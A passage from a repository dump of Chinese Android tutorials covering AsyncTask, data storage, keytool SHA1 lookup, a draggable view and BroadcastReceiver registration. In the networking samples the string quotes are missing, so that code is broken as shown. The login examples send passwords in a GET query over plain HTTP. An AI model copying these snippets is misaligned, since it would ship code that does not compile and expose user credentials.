context.getContentResolver().query(uri, projection, selection, selectionArgs, null);\n            if (cursor != null && cursor.moveToFirst()) {\n                final int index = cursor.getColumnIndexOrThrow(column);\n                return cursor.getString(index);\n            }\n        } finally {\n            if (cursor != null) {\n                cursor.close();\n            }\n        }\n        return null;\n    }\n\n    /**\n     * @param uri The Uri to check.\n     * @return Whether the Uri authority is ExternalStorageProvider.\n     */\n    public static boolean isExternalStorageDocument(Uri uri) {\n        return \"com.android.externalstorage.documents\".equals(uri.getAuthority());\n    }\n\n    /**\n     * @param uri The Uri to check.\n     * @return Whether the Uri authority is DownloadsProvider.\n     */\n    public static boolean isDownloadsDocument(Uri uri) {\n        return \"com.android.providers.downloads.documents\".equals(uri.getAuthority());\n    }\n\n    /**\n     * @param uri The Uri to check.\n     * @return Whether the Uri authority is MediaProvider.\n     */\n    public static boolean isMediaDocument(Uri uri) {\n        return \"com.android.providers.media.documents\".equals(uri.getAuthority());\n    }\n\n    /**\n     * @param uri The Uri to check.\n     * @return Whether the Uri authority is Google Photos.\n     */\n    public static boolean isGooglePhotosUri(Uri uri) {\n        return \"com.google.android.apps.photos.content\".equals(uri.getAuthority());\n    }\n\n````\n\n好了，以上便是我们的解决方案了。\n\n>如果大家感觉总结的还不错，可以给我点个心，或者关注笔者一下~ 有什么问题，也随时欢迎大家留言和我讨论。\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/Android异步任务机制之AsycTask.md",
    "content": "\n> 在Android中实现异步任务机制有两种方式，**Handler**和**AsyncTask**。 \n> \n> Handler已经在上一篇文章 [异步消息处理机制（Handler 、 Looper 、MessageQueue）源码解析](http://blog.csdn.net/amazing7/article/details/51424038#reply) 说过了。\n> \n> 本篇就说说AsyncTask的异步实现。\n\n\n## 1、什么时候使用 AsnyncTask\n\n　　在上一篇文章已经说了，主线程主要负责控制UI页面的显示、更新、交互等。  为了有更好的用户体验，UI线程中的操作要求越短越好。\n\n　　我们把耗时的操作（例如网络请求、数据库操作、复杂计算）放到单独的子线程中操作，以避免主线程的阻塞。但是在子线程中不能更新ＵＩ界面，这时候需要使用handler。\n\n　　但如果耗时的操作太多，那么我们需要开启太多的子线程，这就会给系统带来巨大的负担，随之也会带来性能方面的问题。在这种情况下我们就可以考虑使用类AsyncTask来异步执行任务，不需要子线程和handler，就可以完成异步操作和刷新UI。\n\n\n　　不要随意使用AsyncTask,除非你必须要与UI线程交互.默认情况下使用Thread即可,要注意需要将线程优先级调低.AsyncTask适合处理短时间的操作,长时间的操作,比如下载一个很大的视频,这就需要你使用自己的线程来下载,不管是断点下载还是其它的.\n\n## ２、AsnyncTask原理\n\n\n　　AsyncTask主要有二个部分：一个是与主线程的交互，另一个就是线程的管理调度。虽然可能多个AsyncTask的子类的实例，但是AsyncTask的内部Handler和ThreadPoolExecutor都是进程范围内共享的，其都是static的，也即属于类的，类的属性的作用范围是CLASSPATH，因为一个进程一个VM，所以是AsyncTask控制着进程范围内所有的子类实例。　\n\n　　AsyncTask内部会创建一个进程作用域的线程池来管理要运行的任务，也就就是说当你调用了AsyncTask的execute()方法后，AsyncTask会把任务交给线程池，由线程池来管理创建Thread和运行Therad。\n\n\n## ３、AsyncTask介绍\n　　Android的AsyncTask比Handler更轻量级一些（只是代码上轻量一些，而实际上要比handler更耗资源），适用于简单的异步处理。\n　　\n　　Android之所以有Handler和AsyncTask，都是为了不阻塞主线程（UI线程），因为UI的更新只能在主线程中完成，因此异步处理是不可避免的。\n\n　　AsyncTask：对线程间的通讯做了包装，是后台线程和UI线程可以简易通讯：后台线程执行异步任务，将result告知UI线程。\n\n使用AsyncTask分为两步：　\n\n①　继承AsyncTask类实现自己的类\n\n```\npublic abstract class AsyncTask<Params, Progress, Result> {\n```\n\n> Params: 输入参数，对应excute()方法中传递的参数。如果不需要传递参数，则直接设为void即可。\n> \n> Progress：后台任务执行的百分比\n> \n> Result：返回值类型，和doInBackground（）方法的返回值类型保持一致。\n\n②复写方法\n\n 最少要重写以下这两个方法：\n\n - doInBackground(Params…) \n\n　　在**子线程**（其他方法都在主线程执行）中执行比较耗时的操作，不能更新ＵＩ，可以在该方法中调用publishProgress(Progress…)来更新任务的进度。Progress方法是AsycTask中一个final方法只能调用不能重写。\n\n - onPostExecute(Result)\n\n　　使用在doInBackground 得到的结果处理操作UI， 在主线程执行，任务执行的结果作为此方法的参数返回。\n　　\n有时根据需求还要实现以下三个方法：\n\n - onProgressUpdate(Progress…) \n\n　　可以使用进度条增加用户体验度。 此方法在主线程执行，用于显示任务执行的进度。\n\n - onPreExecute()\n\n　　这里是最终用户调用Excute时的接口，当任务执行之前开始调用此方法，可以在这里显示进度对话框。\n\n - onCancelled()  \n\n　　用户调用取消时，要做的操作\n\n\n\n## ４、AsyncTask示例\n\n按照上面的步骤定义自己的异步类：\n\n```\npublic class MyTask extends AsyncTask<String, Integer, String> {  \n    //执行的第一个方法用于在执行后台任务前做一些UI操作  \n    @Override  \n    protected void onPreExecute() {  \n       \n    }  \n   \n    //第二个执行方法,在onPreExecute()后执行，用于后台任务,不可在此方法内修改UI\n    @Override  \n    protected String doInBackground(String... params) {  \n         //处理耗时操作\n        return \"后台任务执行完毕\";  \n    }  \n      \n   /*这个函数在doInBackground调用publishProgress(int i)时触发，虽然调用时只有一个参数  \n    但是这里取到的是一个数组,所以要用progesss[0]来取值  \n    第n个参数就用progress[n]来取值   */\n    @Override  \n    protected void onProgressUpdate(Integer... progresses) {  \n    \t//\"loading...\" + progresses[0] + \"%\"\n        super.onProgressUpdate(progress);  \n    }  \n      \n    /*doInBackground返回时触发，换句话说，就是doInBackground执行完后触发  \n    这里的result就是上面doInBackground执行后的返回值，所以这里是\"后台任务执行完毕\"  */\n    @Override  \n    protected void onPostExecute(String result) { \n    \t\n    }  \n      \n    //onCancelled方法用于在取消执行中的任务时更改UI  \n    @Override  \n    protected void onCancelled() {  \n    \t\n    }  \n}\n```\n\n在主线程申明该类的对象，调用对象的execute（）函数开始执行。\n\n```\nMyTask ｔ= new MyTask();\nt.execute();//这里没有参数\n```\n\n\n## 5、使用AsyncTask需要注意的地方\n\n - AsnycTask内部的Handler需要和主线程交互，所以AsyncTask的实例必须在UI线程中创建\n\n - AsyncTaskResult的doInBackground(mParams)方法执行异步任务运行在子线程中，其他方法运行在主线程中，可以操作UI组件。\n\n - 一个AsyncTask任务只能被执行一次。\n\n - 运行中可以随时调用AsnycTask对象的cancel(boolean)方法取消任务，如果成功，调用isCancelled()会返回true，并且不会执行 onPostExecute() 方法了，而是执行 onCancelled() 方法。\n\n - 对于想要立即开始执行的异步任务，要么直接使用Thread，要么单独创建线程池提供给AsyncTask。默认的AsyncTask不一定会立即执行你的任务，除非你提供给他一个单独的线程池。如果不与主线程交互，直接创建一个Thread就可以了。\n\n 　　\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/Android数据存储的五种方式.md",
    "content": "\n## 1、概述\n  \n\n 　　Android提供了5种方式来让用户保存持久化应用程序数据。根据自己的需求来做选择，比如数据是否是应用程序私有的，是否能被其他程序访问，需要多少数据存储空间等，分别是：　\n 　　\n</br>\n\n①　使用SharedPreferences存储数据　\n\n②　文件存储数据\n\n③　 SQLite数据库存储数据\n\n④　使用ContentProvider存储数据\n\n⑤　网络存储数据　\n\nAndroid提供了一种方式来暴露你的数据（甚至是私有数据）给其他应用程序 - ContentProvider。它是一个可选组件，可公开读写你应用程序数据。\n\n\n## 2、SharedPreferences存储\n\n  \n\n　　SharedPreference类提供了一个总体框架，使您可以保存和检索的任何基本数据类型（ boolean, float, int, long, string）的持久键-值对（基于XML文件存储的“key-value”键值对数据）。\n\n　　通常用来存储程序的一些配置信息。其存储在“data/data/程序包名/shared_prefs目录下。\n\n　　xml 处理时Dalvik会通过自带底层的本地XML Parser解析，比如XMLpull方式，这样对于内存资源占用比较好。　\n\n**2.1** 　我们可以通过以下两种方法获取SharedPreferences对象（通过Context）：\n\n> ①　getSharedPreferences (String name, int mode)\n\n　　当我们有多个SharedPreferences的时候，根据第一个参数name获得相应的SharedPreferences对象。\n\n\n>②　getPreferences (int mode)\n\n　　如果你的Activity中只需要一个SharedPreferences的时候使用。 \n\n这里的mode有四个选项：\n\n```\nContext.MODE_PRIVATE\n```\n\n　　该SharedPreferences数据只能被本应用程序读、写。\n\n```\nContext.MODE_WORLD_READABLE\n```\n\n　　该SharedPreferences数据能被其他应用程序读，但不能写。\n\n```\nContext.MODE_WORLD_WRITEABLE\n```\n\n　　该SharedPreferences数据能被其他应用程序读和写。\n\n```\nContext.MODE_MULTI_PROCESS\n```\n\n　　sdk2.3后添加的选项，当多个进程同时读写同一个SharedPreferences时它会检查文件是否修改。  \n\n**2.2** 　向Shared Preferences中**写入值**\n　\n首先要通过 SharedPreferences.Editor获取到Editor对象；\n\n然后通过Editor的putBoolean() 或 putString()等方法存入值；\n\n最后调用Editor的commit()方法提交；\n\n```\n//Use 0 or MODE_PRIVATE for the default operation \nSharedPreferences settings = getSharedPreferences(\"fanrunqi\", 0);\nSharedPreferences.Editor editor = settings.edit();\neditor.putBoolean(\"isAmazing\", true); \n\n// 提交本次编辑\neditor.commit();\n```\n同时Edit还有两个常用的方法：\n\n> editor.remove(String key) ：下一次commit的时候会移除key对应的键值对 \n> \t\n>editor.clear()：移除所有键值对\n\n**2.3** 　从Shared Preferences中**读取值** \n\n　　读取值使用 SharedPreference对象的getBoolean()或getString()等方法就行了（没Editor 啥子事）。\n\n```\nSharedPreferences settings = getSharedPreferences(\"fanrunqi\", 0);\nboolean isAmazing= settings.getBoolean(\"isAmazing\",true);\n```\n\n**2.４** 　Shared Preferences的优缺点\n\n　　可以看出来Preferences是很轻量级的应用，使用起来也很方便，简洁。但存储数据类型比较单一（只有基本数据类型），无法进行条件查询，只能在不复杂的存储需求下使用，比如保存配置信息等。\n\n\n## 3、文件数据存储\n\n  \n\n### 3.1 使用内部存储\n\n　　当文件被保存在内部存储中时，默认情况下，文件是应用程序私有的，其他应用不能访问。当用户卸载应用程序时这些文件也跟着被删除。\n\n　　文件默认存储位置：/data/data/包名/files/文件名。\n\n### 3.1.1 创建和写入一个内部存储的私有文件：\n\n①　调用Context的openFileOutput()函数，填入文件名和操作模式，它会返回一个FileOutputStream对象。\n\n②　通过FileOutputStream对象的write()函数写入数据。\n\n③　 FileOutputStream对象的close ()函数关闭流。\n\n例如：\n\n```\n\t\tString FILENAME = \"a.txt\";\n\t\tString string = \"fanrunqi\";\n\n\t\ttry {\n\t\t\tFileOutputStream fos = openFileOutput(FILENAME, Context.MODE_PRIVATE);\n\t\t\tfos.write(string.getBytes());\n\t\t\tfos.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n```\n\n在 ``openFileOutput(String name, int mode)``方法中\n \n\n - name参数:　用于指定文件名称，不能包含路径分隔符“/” ，如果文件不存在，Android 会自动创建它。\n \n \n - mode参数：用于指定操作模式，分为四种：\n\n> Context.MODE_PRIVATE = 0\n\n　　为默认操作模式，代表该文件是私有数据，只能被应用本身访问，在该模式下，写入的内容会覆盖原文件的内容。\n\n> Context.MODE_APPEND = 32768\n\n　　该模式会检查文件是否存在，存在就往文件追加内容，否则就创建新文件。　\n\n> Context.MODE_WORLD_READABLE = 1\n\n　　表示当前文件可以被其他应用读取。\n\n> MODE_WORLD_WRITEABLE\n\n　　表示当前文件可以被其他应用写入。\n\n### 3.1.2 读取一个内部存储的私有文件：\n\n① 调用openFileInput( )，参数中填入文件名，会返回一个FileInputStream对象。\n\n② 使用流对象的 read()方法读取字节\n\n③ 调用流的close()方法关闭流\n\n例如：\n\n```\n\tString FILENAME = \"a.txt\";\n\t\ttry {\n            FileInputStream inStream = openFileInput(FILENAME);\n            int len = 0;\n            byte[] buf = new byte[1024];\n            StringBuilder sb = new StringBuilder();\n            while ((len = inStream.read(buf)) != -1) {\n                sb.append(new String(buf, 0, len));\n            }\n            inStream.close();\n        } catch (Exception e) {\n            e.printStackTrace();\n        } \n```\n\n其他一些经常用到的方法：\n\n - getFilesDir()：　得到内存储文件的绝对路径\n\n - getDir()：　在内存储空间中**创建**或**打开一个已经存在**的目录\n\n - deleteFile()：　删除保存在内部存储的文件。　　\n - fileList()：　返回当前由应用程序保存的文件的数组（内存储目录下的全部文件）。　\n\n\n\n　　\n### 3.1.３　保存编译时的静态文件\n\n　　如果你想在应用编译时保存静态文件，应该把文件保存在项目的　**res/raw/**　目录下，你可以通过 openRawResource()方法去打开它（传入参数R.raw.filename），这个方法返回一个 InputStream流对象你可以读取文件但是不能修改原始文件。\n\n```\nInputStream is = this.getResources().openRawResource(R.raw.filename);\n```\n\n### 3.1.４　保存内存缓存文件\n\n　　有时候我们只想缓存一些数据而不是持久化保存，可以使用getCacheDir（）去打开一个文件，文件的存储目录（ /data/data/包名/cache ）是一个应用专门来保存临时缓存文件的内存目录。\n\n　　当设备的内部存储空间比较低的时候，Android可能会删除这些缓存文件来恢复空间，但是你不应该依赖系统来回收，要自己维护这些缓存文件把它们的大小限制在一个合理的范围内，比如1ＭＢ．当你卸载应用的时候这些缓存文件也会被移除。\n\n\n## 3.２ 使用外部存储（sdcard）\n\n　　因为内部存储容量限制，有时候需要存储数据比较大的时候需要用到外部存储，使用外部存储分为以下几个步骤：\n\n### 3.2.1　添加外部存储访问限权\n　\n　　首先，要在AndroidManifest.xml中加入访问SDCard的权限，如下:\n\n```\n　<!-- 在SDCard中创建与删除文件权限 --> \n    <uses-permission android:name=\"android.permission.MOUNT_UNMOUNT_FILESYSTEMS\"/> \n\n   <!-- 往SDCard写入数据权限 --> \n    <uses-permission android:name=\"android.permission.WRITE_EXTERNAL_STORAGE\"/>\n```\n\n### 3.2.２　检测外部存储的可用性\n\n　　在使用外部存储时我们需要检测其状态，它可能被连接到计算机、丢失或者只读等。下面代码将说明如何检查状态：\n\n```\n//获取外存储的状态\nString state = Environment.getExternalStorageState();\nif (Environment.MEDIA_MOUNTED.equals(state)) {\n    // 可读可写\n    mExternalStorageAvailable = mExternalStorageWriteable = true;\n} else if (Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) {\n    // 可读\n} else {\n    // 可能有很多其他的状态，但是我们只需要知道，不能读也不能写  \n}\n```\n\n### 3.2.3　访问外部存储器中的文件\n　\n\n**１、如果 API 版本大于或等于８**，使用\n\n> getExternalFilesDir (String type)\n\n　　该方法打开一个外存储目录，此方法需要一个类型，指定你想要的子目录，如类型参数DIRECTORY_MUSIC和 DIRECTORY_RINGTONES（传null就是你应用程序的文件目录的根目录）。通过指定目录的类型，确保Android的媒体扫描仪将扫描分类系统中的文件（例如，铃声被确定为铃声）。如果用户卸载应用程序，这个目录及其所有内容将被删除。\n\n例如：\n```\nFile file = new File(getExternalFilesDir(null), \"fanrunqi.jpg\");\n```\n\n**２、如果API 版本小于 8** （7或者更低）\n\n \n\n>  getExternalStorageDirectory ()\n\n通过该方法打开外存储的根目录，你应该在以下目录下写入你的应用数据，这样当卸载应用程序时该目录及其所有内容也将被删除。\n\n```\n/Android/data/<package_name>/files/\n```\n\n读写数据：\n\n```\nif(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)){  \n\t\t    File sdCardDir = Environment.getExternalStorageDirectory();//获取SDCard目录  \"/sdcard\"        \n\n\t\t       File saveFile = new File(sdCardDir,\"a.txt\"); \n\t\t        \n\t\t       //写数据\n\t\t        try {\n\t\t        \tFileOutputStream fos= new FileOutputStream(saveFile); \n\t\t        \tfos.write(\"fanrunqi\".getBytes()); \n\t\t\t\t\tfos.close();\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} \n\t\t\t\t\n\t\t\t\t//读数据\n\t\t\t\t try {\n\t\t        \tFileInputStream fis= new FileInputStream(saveFile); \n\t\t        \tint len =0;\n\t\t        \tbyte[] buf = new byte[1024];\n\t\t        \tStringBuffer sb = new StringBuffer();\n\t\t        \twhile((len=fis.read(buf))!=-1){\n\t\t        \t\tsb.append(new String(buf, 0, len));\n\t\t        \t}\n\t\t        \tfis.close();\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}  \n\t\t}\n``` \n\n　　我们也可以在　/Android/data/package_name/cache/目录下做外部缓存。\n\n部分翻译于：[android-data-storage](http://www.android-doc.com/guide/topics/data/data-storage.html)\n\n# ４、 网络存储数据\n \n## HttpUrlConnection\n\n 　　HttpUrlConnection是Java.net包中提供的API，我们知道Android SDK是基于Java的，所以当然优先考虑HttpUrlConnection这种最原始最基本的API，其实大多数开源的联网框架基本上也是基于JDK的HttpUrlConnection进行的封装罢了，掌握HttpUrlConnection需要以下几个步骤：\n　　\n1、将访问的路径转换成URL。\n\n> URL url = new URL(path);\n\n2、通过URL获取连接。\n\n \n\n> HttpURLConnection conn = (HttpURLConnection) url.openConnection();\n \n\n3、设置请求方式。\n\n \n\n> conn.setRequestMethod(GET);\n \n\n4、设置连接超时时间。\n\n \n\n>conn.setConnectTimeout(5000);\n\n5、设置请求头的信息。\n\n> conn.setRequestProperty(User-Agent, Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0));\n\n7、针对不同的响应码，做不同的操作（请求码200，表明请求成功，获取返回内容的输入流）\n\n工具类：\n\n```\npublic class StreamTools {\n\t/**\n\t * 将输入流转换成字符串\n\t * \n\t * @param is\n\t *            从网络获取的输入流\n\t * @return\n\t */\n\tpublic static String streamToString(InputStream is) {\n\t\ttry {\n\t\t\tByteArrayOutputStream baos = new ByteArrayOutputStream();\n\t\t\tbyte[] buffer = new byte[1024];\n\t\t\tint len = 0;\n\t\t\twhile ((len = is.read(buffer)) != -1) {\n\t\t\t\tbaos.write(buffer, 0, len);\n\t\t\t}\n\t\t\tbaos.close();\n\t\t\tis.close();\n\t\t\tbyte[] byteArray = baos.toByteArray();\n\t\t\treturn new String(byteArray);\n\t\t} catch (Exception e) {\n\t\t\tLog.e(tag, e.toString());\n\t\t\treturn null;\n\t\t}\n\t}\n}\n```\n\n### HttpUrlConnection发送GET请求\n\n```\npublic static String loginByGet(String username, String password) {\n\t\tString path = http://192.168.0.107:8080/WebTest/LoginServerlet?username= + username + &password= + password;\n\t\ttry {\n\t\t\tURL url = new URL(path);\n\t\t\tHttpURLConnection conn = (HttpURLConnection) url.openConnection();\n\t\t\tconn.setConnectTimeout(5000);\n\t\t\tconn.setRequestMethod(GET);\n\t\t\tint code = conn.getResponseCode();\n\t\t\tif (code == 200) {\n\t\t\t\tInputStream is = conn.getInputStream(); // 字节流转换成字符串\n\t\t\t\treturn StreamTools.streamToString(is);\n\t\t\t} else {\n\t\t\t\treturn 网络访问失败;\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn 网络访问失败;\n\t\t}\n\t}\n```\n\n### HttpUrlConnection发送POST请求\n\n```\npublic static String loginByPost(String username, String password) {\n\t\tString path = http://192.168.0.107:8080/WebTest/LoginServerlet;\n\t\ttry {\n\t\t\tURL url = new URL(path);\n\t\t\tHttpURLConnection conn = (HttpURLConnection) url.openConnection();\n\t\t\tconn.setConnectTimeout(5000);\n\t\t\tconn.setRequestMethod(POST);\n\t\t\tconn.setRequestProperty(Content-Type, application/x-www-form-urlencoded);\n\t\t\tString data = username= + username + &password= + password;\n\t\t\tconn.setRequestProperty(Content-Length, data.length() + );\n\t\t\t// POST方式，其实就是浏览器把数据写给服务器\n\t\t\tconn.setDoOutput(true); // 设置可输出流\n\t\t\tOutputStream os = conn.getOutputStream(); // 获取输出流\n\t\t\tos.write(data.getBytes()); // 将数据写给服务器\n\t\t\tint code = conn.getResponseCode();\n\t\t\tif (code == 200) {\n\t\t\t\tInputStream is = conn.getInputStream();\n\t\t\t\treturn StreamTools.streamToString(is);\n\t\t\t} else {\n\t\t\t\treturn 网络访问失败;\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn 网络访问失败;\n\t\t}\n\t}\n```\n\n## HttpClient\n\n　　HttpClient是开源组织Apache提供的Java请求网络框架，其最早是为了方便Java服务器开发而诞生的，是对JDK中的HttpUrlConnection各API进行了封装和简化，提高了性能并且降低了调用API的繁琐，Android因此也引进了这个联网框架，我们再不需要导入任何jar或者类库就可以直接使用，值得注意的是Android官方已经宣布不建议使用HttpClient了。\n\n### HttpClient发送GET请求\n\n1、 创建HttpClient对象\n\n2、创建HttpGet对象，指定请求地址（带参数）\n\n3、使用HttpClient的execute(),方法执行HttpGet请求，得到HttpResponse对象\n\n4、调用HttpResponse的getStatusLine().getStatusCode()方法得到响应码\n\n5、调用的HttpResponse的getEntity().getContent()得到输入流，获取服务端写回的数据\n\n```\npublic static String loginByHttpClientGet(String username, String password) {\n\t\tString path = http://192.168.0.107:8080/WebTest/LoginServerlet?username=\n\t\t\t\t+ username + &password= + password;\n\t\tHttpClient client = new DefaultHttpClient(); // 开启网络访问客户端\n\t\tHttpGet httpGet = new HttpGet(path); // 包装一个GET请求\n\t\ttry {\n\t\t\tHttpResponse response = client.execute(httpGet); // 客户端执行请求\n\t\t\tint code = response.getStatusLine().getStatusCode(); // 获取响应码\n\t\t\tif (code == 200) {\n\t\t\t\tInputStream is = response.getEntity().getContent(); // 获取实体内容\n\t\t\t\tString result = StreamTools.streamToString(is); // 字节流转字符串\n\t\t\t\treturn result;\n\t\t\t} else {\n\t\t\t\treturn 网络访问失败;\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn 网络访问失败;\n\t\t}\n\t}\n```\n\n### HttpClient发送POST请求\n\n1，创建HttpClient对象\n\n2，创建HttpPost对象，指定请求地址\n\n3，创建List，用来装载参数\n\n4，调用HttpPost对象的setEntity()方法，装入一个UrlEncodedFormEntity对象，携带之前封装好的参数\n\n5，使用HttpClient的execute()方法执行HttpPost请求，得到HttpResponse对象\n\n6， 调用HttpResponse的getStatusLine().getStatusCode()方法得到响应码\n\n7， 调用的HttpResponse的getEntity().getContent()得到输入流，获取服务端写回的数据\n\n```\npublic static String loginByHttpClientPOST(String username, String password) {\n\t\tString path = http://192.168.0.107:8080/WebTest/LoginServerlet;\n\t\ttry {\n\t\t\tHttpClient client = new DefaultHttpClient(); // 建立一个客户端\n\t\t\tHttpPost httpPost = new HttpPost(path); // 包装POST请求\n\t\t\t// 设置发送的实体参数\n\t\t\tList parameters = new ArrayList();\n\t\t\tparameters.add(new BasicNameValuePair(username, username));\n\t\t\tparameters.add(new BasicNameValuePair(password, password));\n\t\t\thttpPost.setEntity(new UrlEncodedFormEntity(parameters, UTF-8));\n\t\t\tHttpResponse response = client.execute(httpPost); // 执行POST请求\n\t\t\tint code = response.getStatusLine().getStatusCode();\n\t\t\tif (code == 200) {\n\t\t\t\tInputStream is = response.getEntity().getContent();\n\t\t\t\tString result = StreamTools.streamToString(is);\n\t\t\t\treturn result;\n\t\t\t} else {\n\t\t\t\treturn 网络访问失败;\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn 访问网络失败;\n\t\t}\n\t}\n``` \n\n参考：\n\n  　　[Android开发请求网络方式详解](http://www.2cto.com/kf/201501/368943.html)\n## Android提供的其他网络访问框架\n\n　　HttpClient和HttpUrlConnection的两种网络访问方式编写网络代码，需要自己考虑很多，获取数据或许可以，但是如果要将手机本地数据上传至网络，根据不同的web端接口，需要组织不同的数据内容上传，给手机端造成了很大的工作量。\n　　\n　　目前有几种快捷的网络开发开源框架，给我们提供了非常大的便利。下面是这些项目Github地址，有文档和Api说明。\n　　\n[android-async-http](https://github.com/loopj/android-async-http)　\n\n[http-request](https://github.com/kevinsawicki/http-request)\n\n[okhttp](https://github.com/square/okhttp)\n\n\n# ５、 SQLite数据库存储数据\n\n　　\n　　前面的文章[ SQLite的使用入门](http://blog.csdn.net/amazing7/article/details/51375012)已经做了详细说明，这里就不在多说了。\n\n\n# ６、 使用ContentProvider存储数据\n　　同样可以查看　[ContentProvider实例详解](http://blog.csdn.net/amazing7/article/details/51324022)\n\n \n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/Android获取SHA1.md",
    "content": "# Android获取SHA1\n\n\n\n1. 在Android Studio中打开Terminal或者进入控制台\n2. cd到jdk的bin目录下\n3. 输入命令 ``keytool -list -keystore /Users/mac/WorkSpace/linGitHub/Daily/key/fuyizhulao.jks``\n4. 上面这个命令，大家需要选择自己的jks文件\n5. 输入密码\n6. 然后就可以看到自己的证书指纹(SHA1)了\n\n\n效果图：\n\n\n![](https://ws1.sinaimg.cn/large/006tNbRwly1fh96jjtx73j31dk0q2gnw.jpg)"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/Android跟随手指移动的view.md",
    "content": "> 实现一个跟随手指移动的view其实是特别容易实现的，不过有的时候还是挺有用的，最近做的视频互动软件就有这样的需求，大概几十行代码就可以搞定，然后记录一下吧。\n\n实现的主要思想，就是利用onTouchListener，然后判断出手指按下的点，同时监听移动的事件，然后稍微计算一下就可以求出来view最终应该呈现的位置了，然后通过改变LayoutParams的值就可以是实现view的跟随手指拖拽的效果了，当然还可以优化，例如通过计算如果移到屏幕边缘就停下来之类的，或者哪里是不能移到地方。\n\n```\npublic class TestActivity extends AppCompatActivity implements View.OnTouchListener {\n\n    private ImageView imageView;\n    private RelativeLayout relativeLayout;\n\n    private int lastX, lastY;    //保存手指点下的点的坐标\n    final static int IMAGE_SIZE = 150;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_test);\n\n        imageView = (ImageView) findViewById(R.id.image);\n        relativeLayout = (RelativeLayout) findViewById(R.id.layout);\n        //初始设置一个layoutParams\n        RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(IMAGE_SIZE,IMAGE_SIZE);\n        imageView.setLayoutParams(layoutParams);\n        //设置屏幕触摸事件\n        imageView.setOnTouchListener(this);\n    }\n\n\n    public boolean onTouch(View view, MotionEvent event) {\n        switch (event.getAction() & MotionEvent.ACTION_MASK) {\n            case MotionEvent.ACTION_DOWN:\n                //将点下的点的坐标保存\n                lastX = (int) event.getRawX();\n                lastY = (int) event.getRawY();\n                break;\n\n            case MotionEvent.ACTION_MOVE:\n                //计算出需要移动的距离\n                int dx = (int) event.getRawX() - lastX;\n                int dy = (int) event.getRawY() - lastY;\n                //将移动距离加上，现在本身距离边框的位置\n                int left = view.getLeft() + dx;\n                int top = view.getTop() + dy;\n                //获取到layoutParams然后改变属性，在设置回去\n                RelativeLayout.LayoutParams layoutParams = (RelativeLayout.LayoutParams) view\n                        .getLayoutParams();\n                layoutParams.height = IMAGE_SIZE;\n                layoutParams.width = IMAGE_SIZE;\n                layoutParams.leftMargin = left;\n                layoutParams.topMargin = top;\n                view.setLayoutParams(layoutParams);\n                //记录最后一次移动的位置\n                lastX = (int) event.getRawX();\n                lastY = (int) event.getRawY();\n                break;\n        }\n        //刷新界面\n        relativeLayout.invalidate();\n        return true;\n    }\n}\n```\n\n\n\n\n```\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n                xmlns:tools=\"http://schemas.android.com/tools\"\n                android:id=\"@+id/layout\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"match_parent\"\n                tools:context=\".MainActivity\">\n\n    <ImageView\n        android:id=\"@+id/image\"\n        android:layout_width=\"50dp\"\n        android:layout_height=\"50dp\"\n        android:layout_centerHorizontal=\"true\"\n        android:layout_centerVertical=\"true\"\n        android:background=\"@mipmap/ic_launcher\"\n        />\n\n\n</RelativeLayout>\n```\n\n----\n\n以上便是这个简单的view啦，思路还是很清晰的，当然能够改造的地方有很多，例如加一个惯性的效果啊，或者弄一个加速度的效果啊，都是可以的\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/BroadcastReceiver详细解析.md",
    "content": "# BroadcastReceiver的定义\n\n　　广播是一种广泛运用的在应用程序之间传输信息的机制，主要用来监听系统或者应用发出的广播信息，然后根据广播信息作为相应的逻辑处理，也可以用来传输少量、频率低的数据。\n\n　　在实现开机启动服务和网络状态改变、电量变化、短信和来电时通过接收系统的广播让应用程序作出相应的处理。\n\n　　BroadcastReceiver 自身并不实现图形用户界面，但是当它收到某个通知后， BroadcastReceiver 可以通过启动 Service 、启动 Activity 或是 NotificationMananger 提醒用户。\n\n# BroadcastReceiver使用注意\n\n　　当系统或应用发出广播时，将会扫描系统中的所有广播接收者，通过action匹配将广播发送给相应的接收者，接收者收到广播后将会产生一个广播接收者的实例，执行其中的onReceiver()这个方法；特别需要注意的是这个实例的生命周期只有10秒，如果10秒内没执行结束onReceiver()，系统将会报错。　\n　　\n　　在onReceiver()执行完毕之后，该实例将会被销毁，所以不要在onReceiver()中执行耗时操作，也不要在里面创建子线程处理业务（因为可能子线程没处理完，接收者就被回收了，那么子线程也会跟着被回收掉）；正确的处理方法就是通过in调用activity或者service处理业务。\n\n# BroadcastReceiver的注册\n\n　　BroadcastReceiver的注册方式有且只有两种，一种是静态注册（推荐使用），另外一种是动态注册，广播接收者在注册后就开始监听系统或者应用之间发送的广播消息。\n\n**接收短信广播示例**：\n\n定义自己的BroadcastReceiver 类\n\n```\npublic class MyBroadcastReceiver extends BroadcastReceiver {\n \n// action 名称\nString SMS_RECEIVED = \"android.provider.Telephony.SMS_RECEIVED\" ;\n \n    public void onReceive(Context context, Intent intent) {\n \n       if (intent.getAction().equals( SMS_RECEIVED )) {\n           // 一个receiver可以接收多个action的，即可以有多个intent-filter，需要在onReceive里面对intent.getAction(action name)进行判断。\n       }\n    }\n}\n```\n\n## 静态方式\n\n　　在AndroidManifest.xml的application里面定义receiver并设置要接收的action。\n\n```\n< receiver android:name = \".MyBroadcastReceiver\" > \n\n < intent-filter android:priority = \"777\" >             